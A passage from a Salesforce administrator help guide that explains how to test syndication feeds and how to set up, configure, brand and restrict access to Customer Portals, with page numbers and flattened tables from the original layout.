Test the feed definition you have created before enabling it for customers. To test a feed: 1. After creating a feed, navigate to Your Name > Setup > Sites and click the site for which you've defined the feed. Alternatively, you can navigate to the feed detail page any number of ways, including clicking the feed name from the site detail page. 2. Click Preview for the feed you wish to test. 3. If one or more bind variables have been used in the feed, a dialog appears. Enter a test value for each bind variable. 4. A dialog appears allowing you to create a bookmark for the feed with the bind variable values you specified. You can save the bookmark, or cancel the dialog. 5. The values returned by your feed are displayed. Verify that the results are what you expected.

See Also:
Defining Syndication Feeds About Syndication Feeds

Viewing Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete a feed definition: Subscribe to a feed Modify All Data No special user permission required

View the syndication feed definition, including what records are returned, and which data from the records is displayed: Name A descriptive name for this feed, which distinguishes it from other feeds you may create. Description Describes the feed. For example, Account first name, last name, and region for the last ten accounts created or edited.

1537

Customer Portal

Setting Up Your Customer Portal

Query The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some limitations on the SOQL query are imposed. For more information, see Defining Syndication Feeds on page 1532. Mapping Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more information about mapping elements, see Defining Syndication Feeds on page 1532. Max Cache Age Seconds Because many users may access a feed at the same time, Salesforce caches the feed data, for 3600 seconds by default. This value can be a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user opens a page containing a feed that they have subscribed to. Active This checkbox indicates whether the feed is available for subscription. Once a feed is active, users have the option of subscribing to it.

See Also:
Defining Syndication Feeds About Syndication Feeds Testing Syndication Feeds

CUSTOMER PORTAL
Setting Up Your Customer Portal
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: Customize Application

A Salesforce Customer Portal is similar to a Self-Service portal in that it provides an online support channel for your customersallowing them to resolve their inquiries without contacting a customer service representative. However, a Customer Portal provides significantly richer functionality than a Self-Service portal. This is because a Customer Portal has functionality similar to Salesforce. With a Customer Portal, you can customize and deliver a visually stunning user interface to your customers, and use the following Salesforce features to help you and your customers succeed: Determine which pages and fields customers see with page layouts and field-level security

1538

Customer Portal

Setting Up Your Customer Portal

Manage customers with profiles, permission sets, roles, and sharing rules Provide and organize documents via Salesforce CRM Content or the Documents tab Create a knowledge base for your customers using Salesforce Knowledge Allow customers to participate in Salesforce CRM Ideas communities. Display and collect data that is unique to your organization with custom objects Display custom s-controls and content from other websites via Web tabs Provide customized reports via the Reports tab Note: The Service Cloud Portal is the Customer Portal intended for many thousands to millions of users. Service Cloud portal users are also referred to as high-volume portal users. See About High-Volume Portal Users (Service Cloud Portal Users) on page 1575.

Setting up your Customer Portal consists of the following steps: 1. Enable the Customer Portal. 2. Create one or more portals. For each portal: a. Configure the settings and communication templates. You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. For more information, see Creating Multiple Customer Portals on page 1541. The Convert Portal User Access wizard automatically displays after the first time you save settings for your first portal, whether it is the Customer Portal or partner portal. You can use this wizard to help ensure that records and folders owned by Salesforce users are not shared with portal users. b. Customize the fonts and colors. c. Customize the available tabs and tab order. d. Configure portal languages. 3. Optionally, if available to your portal user licenses, you can enable Salesforce CRM Content, Ideas, Answers, Entitlement Management or Salesforce Knowledge as needed. 4. Create Customer Portal profiles. For each profile: a. Customize page layouts. See Customizing Your Customer Portal Pages. For setup tips and general information about Salesforce Customer Portal pages, see Setup Tips and Considerations for Customer Portal Pages on page 1558. b. Customize list views. See Creating Custom List Views on page 241. Customer Portal users can automatically see any list view with visibility settings marked Visible to all users. We recommend that you create specific list views on all objects accessible to portal users, and then assign portal users to only the list views you want them to view. c. Customize search layouts. See Customizing Search Layouts on page 1216. The search layouts in your Salesforce organization are the same search layouts used in your Customer Portal. Verify that search layouts on objects accessible to portal users only include fields you want them to view in search results. 5. Set up workflow:

1539

Customer Portal

Setting Up Your Customer Portal

a. Set up workflow rules or case assignment rules to automatically assign cases created by portal users to Salesforce users or queues by using the criteria Current User: User Type contains Customer Portal. For more information, see Setting Up Assignment Rules on page 1219 and Managing Workflow Rules on page 1638. For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles. Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users, add a rule entry using the criteria Current User: User Type contains Customer Portal and select the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1219. b. Create workflow alerts or case auto-response rules to automatically respond to portal users when they create a case on your portal. To help you determine whether to use workflow alerts or auto-response rules, see Differences Between Auto-Response Rules and Workflow Alerts on page 1228. 6. Configure portal user access. 7. Grant high-volume portal users access to objects. 8. Optionally, enable single sign-on. 9. Enable login on each Customer Portal. 10. Add a link on your organization's website to the portal. Users can navigate to your Customer Portal after you copy the Login URL from your portal's settings and paste it into the HTML of your website. For more information, see Enabling Customer Portal Login and Settings on page 1545. 11. Enable contacts to use your portal. To learn more about implementing a Customer Portal, see Preparation for Setting Up Your Portal on page 1299. Note: Contact salesforce.com about activating a Customer Portal for your organization.

See Also:
Customer Portal Setup Limits Administrator setup guide: Salesforce Customer Portal Implementation Guide Creating Multiple Customer Portals Enabling Single Sign-On for Portals

Enabling Your Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable the Customer Portal: Customize Application

To enable the Salesforce Customer Portal:

1540

Customer Portal

Setting Up Your Customer Portal

1. 2. 3. 4. 5.

Click Your Name > Setup > Customize > Customer Portal > Settings. Click Edit. Select Enable Customer Portal. Click Save. Continue setting up the portal.

Tips on Enabling the Customer Portal Consider the following when enabling the Customer Portal: After you enable the Customer Portal, you can create multiple Customer Portals to satisfy the various business needs of your customers. These items become available after you enable the Customer Portal: The High Volume Customer Portal User, Authenticated Website User, Customer Portal Manager, and Customer Portal User profiles, if you purchased user licenses for them. The Enable Customer Portal User and View Customer Portal User buttons on contact and person account records. The All Customer Portal Users and All Internal Users groups along with the Roles and Internal Subordinates sharing rule category. After you enable a Customer Portal, you cannot disable it. However, you can prevent users from logging into it. See Enabling Customer Portal Login and Settings on page 1545.

See Also:
Setting Up Your Customer Portal Enabling Salesforce CRM Content in the Customer Portal About Customer Portal User Management Enabling the Customer Portal for Contacts and Person Accounts

Creating Multiple Customer Portals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create multiple Customer Portals: Customize Application

After you have enabled the Salesforce Customer Portal, you can create multiple Customer Portals to satisfy the various business needs of your customers. To create more than one Customer Portal: 1. Click Your Name > Setup > Customize > Customer Portal > Settings. 2. Click New. 3. Follow the same steps used to set up your organization's first Customer Portal. See Setting Up Your Customer Portal on page 1538.

1541

Customer Portal

Setting Up Your Customer Portal

Note: Contact salesforce.com for information about the number of Customer Portals you can activate for your organization. Before you begin creating multiple Customer Portals for your organization, review the following implementation tips and best practices. Implementation Tips Portal users can only log into Customer Portals assigned to their profile. To assign a profile to a Customer Portal, select the name of a portal from the Customer Portal Setup page, click Edit Profiles in the Assigned Profiles section, and select the Active checkbox next to the profile you want to assign to the portal. A portal user can access all the Customer Portals assigned to his or her profile with one username and password. You can view the number of active users associated with each profile assigned to a Customer Portal by creating a custom summary report and adding Profile to your report columns. See Administrative Reports on page 2669. The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F. The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce login page. The settings on the following items apply to both your organization and your Customer Portals: List views Search layouts Case assignment rules Workflow alerts

Best Practices Because you can uniquely customize the fonts, colors, email templates, and login message of each Customer Portal you create, you can build a Customer Portal for each product and customer service level supported by your organization. For example, if your organization provides gold, silver, and bronze levels of customer support, then you could create a unique Customer Portal for each. Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.

You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. These settings determine the email templates to use when sending email notifications, such as a new case comment or a reset password, to portal users whose profiles are associated with more than one Customer Portal. By default, sample templates are automatically selected for you in the New User Template, New Password Template, and Lost Password Template lookup fields. However, sample templates are not selected for you in the New Comment Template and Change Owner to Portal User Template lookup fields. Unless you select templates for these fields, users whose profiles are associated with more than one Customer Portal will not receive email notifications when new comments are added to their cases or when they become the new owner of a record in the Customer Portal. To create templates or modify the samples, see Managing Email Templates on page 436. Email templates must be marked as Available for Use to be sent to portal users. Tip: Because the default email templates are sent to users of multiple Customer Portals, we recommend that you create default email templates that do not contain portal-specific branding.

1542

Customer Portal

Setting Up Your Customer Portal

You cannot delete a Customer Portal, but you can prevent users from logging into a portal by deselecting the Login Enabled checkbox. For more information, see Enabling Customer Portal Login and Settings on page 1545. You can create multiple Customer Portals that display different tabs for users with the same profile, as long as the profile has access to each object displayed on a tab. For more information, see Setting Tab Visibility on page 504 and Customizing Your Customer Portal Tabs on page 1555.

See Also:
Setting Up Your Customer Portal About Customer Portal User Management Customizing Your Customer Portal Tabs Administrator setup guide: Salesforce Customer Portal Implementation Guide

About the Convert Portal User Access Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set sharing rules: Manage Users

Because Customer Portal and partner portal users appear in the role hierarchy but are external contacts who should not have access to your organization's internal data, you must configure your organization's sharing settings to prevent inappropriate access by portal users. When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that no records or folders are shared with a portal user. The wizard affects the following: Sharing Rules The Convert Portal User Access wizard converts any sharing rules that include the Roles, Internal and Portal Subordinates data set category to include the Roles and Internal Subordinates data set category instead. The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles. Only organization-wide sharing rules are updated when you convert Roles, Internal and Portal Subordinates to Roles and Internal Subordinates. The Roles, Internal and Portal Subordinates category for queues, public groups, list views, documents, and manual sharing created on specific records by clicking the Sharing button is not converted to Roles and Internal Subordinates. Note: The Roles, Internal and Portal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy. The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal.

1543

Customer Portal

Setting Up Your Customer Portal

Folder Sharing The Convert Portal User Access wizard also enables you to automatically convert the access levels of any report, dashboard, or document folders that are accessible to Roles, Internal and Portal Subordinates to a more restrictive access level: Roles and Internal Subordinates. This helps prevent Customer Portal and partner portal users from accessing folders. Using the wizard is more efficient than locating various folders in Salesforce and setting their access levels individually. The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update the access levels on those folders. When you first save a Customer Portal or partner portal, Salesforce automatically displays the Convert Portal User Access wizard.

See Also:
Using the Convert Portal User Access Wizard Configuring User Access to the Customer Portal Enabling Your Customer Portal Enabling the Partner Portal Using the Convert Portal User Access Wizard Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set sharing rules: Manage Users

When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that no records or folders are shared with a portal user. To use the wizard: 1. For the Customer Portal, click Your Name > Setup > Customize > Customer Portal > Settings. For the partner portal, click Your Name > Setup > Customize > Partners > Settings. 2. Click the Convert Portal User Access link. 3. Select the checkboxes next to the sharing rules you want to convert to Roles and Internal Subordinates. If there are no sharing rules to convert but you want to convert the access level for folders, proceed to the following step. 4. Click Next. 5. Select the checkboxes next to the folders whose access levels you want to change to Roles and Internal Subordinates. The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update the access levels on those folders. A particular folder may display on multiple rows in the wizard. This is because the wizard displays a row for each Role, Internal and Portal Subordinates category to which a folder is shared. 6. Click Next.

1544

Customer Portal

Setting Up Your Customer Portal

7. Click Save to apply your selected changes.

See Also:
About the Convert Portal User Access Wizard

Enabling Customer Portal Login and Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable login and settings for the Customer Portal: Customize Application

1. Click Your Name > Setup > Customize > Customer Portal > Settings. 2. Click Edit next to the name of the Salesforce Customer Portal you want to customize. 3. Set the following options: Setting
Name

Description Name of the Customer Portal as displayed on the portal's detail and edit pages, as well as the Customer Portal Setup page. The name of the Customer Portal is not displayed on portal pages, but it does display in the browser title bar. The name of your portal must be unique for your organization and not already in use by a Customer Portal or partner portal. Furthermore, an error may occur if you name a Customer Portal partner portal or vice versa.

Description

A description of the Customer Portal as displayed on the portal's detail and edit pages. The description of the Customer Portal is not displayed in the portal. Allows users to log in to the Customer Portal. We recommend that you do not select this checkbox until you have completed the steps described in Setting Up Your Customer Portal.

Login Enabled

Administrator

Click the lookup icon ( ) to choose a default administrator for your Customer Portal. All email notifications regarding users who self-register for your Customer Portal will be sent to this Salesforce user. Notifications include information about registration errors and any other issues self-registering customers may

1545

Customer Portal

Setting Up Your Customer Portal

Setting

Description experience, such as inadvertently entering duplicate email addresses, creating duplicate contact records, and exceeding your organization's user license limit. When choosing an administrator for your Customer Portal, you can only select users that have the Edit Self-Service Users permission. Furthermore, you cannot deactivate a user selected as a portal administrator. For more information, see Deactivating Users on page 478.

Portal Default Settings Setting


Login URL

Description The URL of the Web page that displays when users log in to your Customer Portal. You can click this URL to log in to your portal and interact with it. Insert this URL into your website so users can access the login page to your Customer Portal. The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F. The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce login page.

Logout URL

The URL of the Web page that displays when users log out of the Customer Portalfor example, http://www.acme.com. If a logout URL is not specified, portal users return to the login page when they log out. The top-level category accessible by customers in the Customer Portal. Customers can view all solutions marked Visible in Self-Service Portal in this category and its subcategories. This field is available only if you have enabled solution browsing. See Customizing Solution Settings on page 1297.

Top-Level Category for Portal

Enable Self-Close Case from Suggested Solutions

Allows users to close cases in the Customer Portal directly from suggested solutions. For example, when a user views a suggested solution that helps them solve a case, he or she can click Yes, please close my case if this setting is enabled.

1546

Customer Portal

Setting Up Your Customer Portal

Portal Default Settings Setting Description For more information about suggested solutions, see What are Suggested Solutions? on page 2851.
Show Action Confirmation

Allows users to view confirmation messages after they complete an action in the Customer Portal. For example, after a user creates a case in your Customer Portal, he or she views the message Case has been submitted if this setting has been enabled. Confirmation messages may help users clearly understand actions they have completed in your Customer Portal.

Email Notification Settings Setting


From Email Address

Description The email address from which all Customer Portal communication templates are sentfor example, support@acme.com. Salesforce sends the emails automatically, but they appear to portal users as if they were sent from this email address. If a portal user responds to a communication template, the response is sent to this address. The name associated with the From Email Addressfor example, Acme Customer Support. The email template used to send a username and initial password to all newly enabled and self-registering Customer Portal users. By default, a sample template is automatically selected for you. To create your own template or modify the sample, see Managing Email Templates on page 436. This template must be marked as Available for Use. The email template used to send a new password to existing Customer Portal users when you reset their passwords. By default, a sample template is automatically selected for you. To create your own template or modify the sample, see Managing Email Templates on page 436. This template must be marked as Available for Use. The email template used to send a new password to existing Customer Portal users when they reset their own passwords by clicking Forgot your password? on the login page of the Customer Portal. By default, a sample template is automatically selected for you. To create your own template or modify the sample, see Managing Email Templates on page 436. This template must be marked as Available for Use.

From Email Name

New User Template

New Password Template

Lost Password Template

1547

Customer Portal

Setting Up Your Customer Portal

Email Notification Settings Setting


New Comment Template

Description The email template used to send a notification to Customer Portal users when a public comment is added to one of their cases. To create your own template, see Managing Email Templates on page 436. This template must be marked as Available for Use. The email template used to send a notification to Customer Portal users when they become the new owner of a record in the portal. To create your own template, see Managing Email Templates on page 436. This template must be marked as Available for Use.

Change Owner to Portal User Template

Note: You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. For more information, see Creating Multiple Customer Portals on page 1541. Tip: If you plan to use the same communication template for different objects, such as the Change Owner to Portal User Template, we recommend that you include text and merge fields on the template that are appropriate for both objects. For example, if your organization has a Warranty custom object and a Training custom object, and you want to use the Change Owner to Portal User Template for both, the text and merge fields on the template should read: A new record has been assigned to you. Id: {!Training.ID}{!Warranty.Id}. When the template is sent, only the relevant merge fields will display. Look and Feel Setting
Header

Description A text or HTML file that allows you to incorporate your organizations branding into the header of your Customer Portal. Click the lookup icon ( ) to choose a file that has been uploaded to a publicly accessible folder on the Documents tab. The files you include in the Header and Footer lookup fields can have a combined size of up to 10 KB. We recommend that you do not add a header and a logo to your portal because they may not display properly together. You can position the logout link anywhere on the header by using the HTML tag: <a href="/secur/logout.jsp">Logout</a>.

Footer

A text or HTML file that allows you to incorporate your organizations branding into the footer of your Customer Portal. Click the lookup icon ( ) to choose a file that has

1548

Customer Portal

Setting Up Your Customer Portal

Look and Feel Setting Description been uploaded to a publicly accessible folder on the Documents tab. The files you include in the Header and Footer lookup fields can have a combined size of up to 10 KB.
Logo

An image file that allows you to incorporate your organization's branding into the top left header of your Customer Portal. Click the lookup icon ( ) to choose a file that has been uploaded to a publicly accessible folder on the Documents tab and marked as an Externally Available Image. The file you include in the Logo lookup field can be up to 20 KB. We recommend that you do not add a header and a logo to your portal because they may not display properly together.

Login Message

A text or HTML file that allows you to incorporate your organizations branding into the header of the login page, forgot password page, and change password page of your Customer Portal. Click the lookup icon ( ) to choose a file that has been uploaded to a publicly accessible folder on the Documents tab. The file you include in the Login Message lookup field can be up to 2 KB. Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.

Self-Registration Settings Setting


Self-Registration Enabled

Description Allows existing contacts to register themselves for access to your Customer Portal. When you select this checkbox and add the Allow Customer Portal Self-Registration checkbox to contact page layouts, contacts whose records are marked Allow Customer Portal Self-Registration can view a self-registration area on the Login page of your Customer Portal. From the self-registration area, users can enter their email address and click Submit to receive an

1549

Customer Portal

Setting Up Your Customer Portal

Self-Registration Settings Setting Description automatically assigned username and password for logging in to your Customer Portal. Other email notifications sent to users regarding their registration status include: Existing user, from which the user can enter another email address or click a Forgot Password? link to retrieve his or her password. New user, which informs the user that the email address he or she submitted does not match an existing contact in your organization. If an administrator has implemented Web-to-Case or Web-to-Lead to capture new user information, then the user can click a link to enter his or her information on the appropriate form. Internal error, which informs the user that an error occurred during the self-registration process and that your portal's administrator has been notified about the error. Ineligible user, which informs the user that he or she is not eligible for self-registration to your Customer Portal. This notification is sent when a submitted email address matches a contact that does not have the Allow Customer Portal Self-Registration checkbox selected. It is also sent when a submitted email address does not match any contacts, and your administrator has not set up Web-to-Lead or Web-to-Case to capture new user information.

Ensure that all required custom fields on users have default values. Otherwise, users who self-register for your Customer Portal will receive an error message. Note that person account users cannot self-register for your Customer Portal. When person account users self-register for your Customer Portal, they receive an email notification that instructs them to contact the portal administrator.
New User Form URL

Allows you to specify the URL of a Web-to-Lead or Web-to-Case form for users who self-register for access to your Customer Portal. The URL to this form is offered via the template selected in the Registration Error Template field to self-registering users who lack an existing contact record, so that their information can be captured and converted to a contact.

1550

Customer Portal

Setting Up Your Customer Portal

Self-Registration Settings Setting Description For more information about setting up Web-to-Lead or Web-to-Case, see Capturing Web Leads on page 1251 and Capturing Web Cases on page 1292.
Registration Error Template

The email template sent to users who self-register for your Customer Portal, but experience a registration error, or need to complete a Web-to-Case or Web-to-Lead form to register for your portal. By default, a sample template is automatically selected for you. To create your own template or modify the sample, see Managing Email Templates on page 436. This template must be marked as Available for Use. The From Email Address and From Email Name fields on Customer Portal settings specify who this template is sent from.

Default New User License

Click the lookup icon ( ) to choose a default portal user license for users who self-register for your Customer Portal. Click the lookup icon ( ) to choose a default portal role for users who self-register for your Customer Portal. Click the lookup icon ( ) to choose a default portal profile for users who self-register for your Customer Portal. You cannot delete the profile selected as the default portal profile.

Default New User Role

Default New User Profile

4. Click Save to save your Customer Portal settings.

See Also:
Setting Up Your Customer Portal

1551

Customer Portal

Setting Up Your Customer Portal

Customizing Your Customer Portal Fonts and Colors


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change the fonts and colors of the Customer Portal: Customize Application

You can customize the fonts and colors of the Salesforce Customer Portal to reflect your companys branding. Your portals fonts and colors are specified in a portal color theme. Select a predefined color theme and, optionally, customize it to better match your branding. You can click the See examples link to see all of the theme attributes you can customize. 1. 2. 3. 4. Click Your Name > Setup > Customize > Customer Portal > Settings. Select the name of your Customer Portal. Click Change Portal Fonts and Colors. Select a color theme from the Color Theme drop-down list. Select Custom from the Color Theme drop-down list to create your own theme from scratch. A preview of the color theme you select is automatically displayed in the Preview sections. 5. Optionally, customize the color of any theme you select by either: Entering a hexadecimal value into any theme attribute, or Clicking the hexadecimal value of any theme attribute and selecting a color from the point-and-click editor

When you customize a theme, it is automatically renamed Custom when saved. You can customize the following options, which, when customized, automatically display in the Preview sections: Tab Styles Theme Attribute
Current Tab Text Current Tab Background Current Tab Border Other Tab Text Other Tab Background Other Tab Border Tab Bar Background

Description Text color of the tab users have selected. Background color of the tab users have selected. Border color of the tab users have selected. Text color of the tabs users have not selected. Background color of the tabs users have not selected. Border color of the tabs users have not selected. Background color behind all tabs.

Page Styles Theme Attribute


Page Background

Description Portal background color, excluding search, related lists, recent items, solution categories, document folders, and the Create New drop-down list.

1552

Customer Portal

Setting Up Your Customer Portal

Page Styles Theme Attribute


Text

Description Text color, size, and font on all portal items, except for tabs, buttons, headers, and field labels. Optionally, you can change the number in the percent field to increase or decrease the size of all portal items. Additionally, you can change the font of all portal items, except for tabs, buttons, headers, and field labels from the drop-down list.

Field Label Text

Text color of the field names on records. Optionally, you can change the font of the text from the drop-down list.

Link Link Hover

Text color of all links. Text color of all links when a user hovers the mouse over them. Color of the lines that separate fields on records. Color of the line bordering the bottom of the portal.

Field Separator Bottom Border

Section Styles Theme Attribute


Header Background

Description Background color of all headings, including search, recent items, related lists, solution categories, documents folders, and the selected tab. Text color and font on the headers of search, related lists, recent items, solution categories, and document folders. Optionally, you can change the font of the text from the drop-down list.

Section Header Text

Left Border

Border to the left of search, related lists, recent items, solution categories, document folders, and the Create New drop-down list. Optionally, you can change the number in the pixel field to increase or decrease the thickness of the border. Additionally, you can select the style of the line displayed for the border from the drop-down list.

1553

Customer Portal

Setting Up Your Customer Portal

Section Styles Theme Attribute


Right Border

Description Border to the right of search, related lists, recent items, solution categories, document folders, and the Create New drop-down list. Optionally, you can change the number in the pixel field to increase or decrease the thickness of the border. Additionally, you can select the style of the line displayed for the border from the drop-down list.

Top Border

Border above search, related lists, recent items, solution categories, document folders, and the Create New drop-down list. Optionally, you can change the number in the pixel field to increase or decrease the thickness of the border. Additionally, you can select the style of the line displayed for the border from the drop-down list.

Bottom Border

Border underneath search, related lists, recent items, solution categories, document folders, and the Create New drop-down list. Optionally, you can change the number in the pixel field to increase or decrease the thickness of the border. Additionally, you can select the style of the line displayed for the border from the drop-down list.

Section Background

Background color of search, related lists, recent items, solution categories, document folders, and the Create New drop-down list.

List Styles Theme Attribute


List Header Text

Description Text color of the field names selected as column headings on list views. Optionally, you can change the font of the text from the drop-down list.

Header Underline

Color of the lines underneath column headings on related lists and list views. Color of the lines between records on list views. Color of a record when a user hovers the mouse over it on list views.

Separator Row Highlight

1554

Customer Portal

Setting Up Your Customer Portal

6. Click Save to save all changes to the theme values. Tip: Changes are visible to Customer Portal users when they refresh their browsers. Therefore, we recommend updating your portal color theme at times when users are least likely to visit your Customer Portal.

Note: To customize the header, footer, and logo of your Customer Portal, see Enabling Customer Portal Login and Settings on page 1545.

See Also:
Setting Up Your Customer Portal Customizing Your Customer Portal Tabs

Customizing Your Customer Portal Tabs


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Customer Portal tabs: Customize Application

The Salesforce Customer Portal can display the following tabs: Answers Articles Ideas Home Cases Reports Solutions Web tabs Entitlements Custom objects Service contracts Documents from the Documents tab Salesforce CRM Content tabs: Libraries, Content, and Subscriptions

Additionally, the Customer Portal can display the following tabs to delegated portal user administrators: Accounts Contacts

To choose which tabs display to users logged in to a Customer Portal, and to customize the order in which tabs display to portal users:

1555

Customer Portal

Setting Up Your Customer Portal

1. 2. 3. 4.

Click Your Name > Setup > Customize > Customer Portal > Settings. Select the name of the Customer Portal whose tabs you want to customize. Click Customize Portal Tabs. To add or remove tabs, select a tab title, and click the Add or Remove arrow to add or remove the tab to or from the Selected Tabs box. To change the order of the tabs, select a tab title in the Selected Tabs box, and click the Up or Down arrow. 5. Optionally, from the Default Landing Tab drop-down, you can select which tab to display to users when they log into your portal. 6. Click Save. You can further limit the tabs displayed for specific profiles by editing the tab settings on the profile. For example, users with the Customer Portal User profile have the Cases tab set to Default On. If you don't want users with that profile to see the Cases tab, you can change the tab settings to Tab Hidden. See Setting Tab Visibility on page 504. Tip: You can create multiple Customer Portals that display different tabs for users with the same profile, as long as they have access to each object displayed on a tab. To make the following tabs visible in the Customer Portal, use the steps above and change the tab visibility setting to Default On in all Customer Portal profiles. Allowing Portal Users to View Web Tabs To allow portal users to view Web tabs, simply create Web tabs and assign them to Customer Portal profiles. For more information, see Creating Web Tabs on page 1634. Granting Portal Users Access to the Documents Tab To allow portal users to view a Documents tab, grant Customer Portal users access to the folders on your Salesforce Documents tab that contain the files you want them to view. For more information, see Document Library Overview on page 217 and Creating and Editing Folders on page 1232. Allowing Portal Users to View the Reports Tab To allow portal users to view a Reports tab: 1. Grant portal users access to the folders on your Salesforce Reports tab that contain the reports you want them to run. 2. Set the organization-wide default sharing model to Private on objects you want portal users to report on. 3. Assign portal users to profiles that include the Run Reports permission. When you add the Reports tab to your Customer Portal, portal users: Cannot customize reports or filter report results; they can only run reports. Can export reports to Excel if they have the Export Reports permission. Do not have access to the Unfiled Public Reports and My Personal Custom Reports folders. Will receive an insufficient privileges error if they run a report that contains objects they do not have permission to view.

Providing Portal Users with Access to the Ideas Tab To allow portal users to access the Ideas tab, create a Salesforce CRM Ideas community that is active and configured to display in the portal. For more information, see Creating and Editing Communities on page 1434 and Enabling Salesforce CRM Ideas in the Customer Portal on page 1568.

1556

Customer Portal

Setting Up Your Customer Portal

If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding tabs, see Customizing Your Customer Portal Tabs on page 1555. Allowing Portal Users to Access Salesforce CRM Content Tabs To allow portal users to access Salesforce CRM Content, see Enabling Salesforce CRM Content in the Customer Portal on page 1563.

See Also:
Setting Up Your Customer Portal Administrator setup guide: Salesforce Customer Portal Implementation Guide Enabling Salesforce CRM Content in the Customer Portal

Customizing Your Customer Portal Pages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify page layouts: To assign page layouts to profiles: Customize Application Manage Users

You can customize your Salesforce Customer Portal pages just as you customize pages in Salesforce: with page layouts. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display. Customer Portal users view the layouts assigned to their profile when they log in to your Customer Portal. You can customize the following objects' page layouts for your portal: Home Tasks Events Cases Assets Accounts Solutions Contacts Entitlements Custom Objects Service Contracts

1557

Customer Portal

Setting Up Your Customer Portal

Customizing Portal Page Layouts To work with page layouts, go to Your Name > Setup > Customize, click the appropriate kind of record, and select Page Layouts. For more information, see Managing Page Layouts on page 1188. Note: By default, Customer Portal users have Read permissions on accounts, contacts, and assets so that they can view their account name and choose a contact and asset for the cases they create on your portal. Customer Portal users can't view the tags section of a page, even if it is included in a page layout. For more information, see Tags Overview on page 347.

To work with page layouts for custom objects, click Your Name > Setup > Create > Objects, select a custom object, and choose a page layout from the Page Layouts section. For more information, see Building Page Layouts for Custom Objects on page 1620. To display a custom object in your Customer Portal, you must: Select the Available for Customer Portal checkbox on the custom object. You cannot assign a portal profile to a custom-object page layout unless this checkbox is selected. For information on modifying this setting, see Defining Custom Objects on page 1604. Grant user permissions to the custom object on permission sets or profiles assigned to portal users. For more information, see Overview of User Permissions and Access on page 525. Add the tab of the custom object to your Customer Portal so that the tab is accessible to your Customer Portal users. For more information, see Customizing Your Customer Portal Tabs on page 1555.

See Also:
Customizing Your Customer Portal Fonts and Colors Enabling Customer Portal Login and Settings Designing Home Tab Page Layouts Setup Tips and Considerations for Customer Portal Pages Available in: Enterprise, Unlimited, and Developer Editions

Consider the following setup tips and general information about Salesforce Customer Portal pages: Setting Up Cases When setting up your Customer Portal, clone the page layout for cases (Case Layout), and rename it Portal Case Layout. This allows you to easily differentiate between case page layouts for internal users and case page layouts for portal users. By default, new cases are accessible in the Customer Portal, but you can include the Visible in Self-Service checkbox on case page layouts so that you can deselect the checkbox to prevent a case from being displayed. Do not select the Show Case Email Notification and Show Case Email Notification by default checkboxes on case page layouts. These features only apply to Salesforce users. Do not add the Internal Comments field to case page layouts assigned to portal profiles because portal users may view comments intended only for Salesforce users.

1558

Customer Portal

Setting Up Your Customer Portal

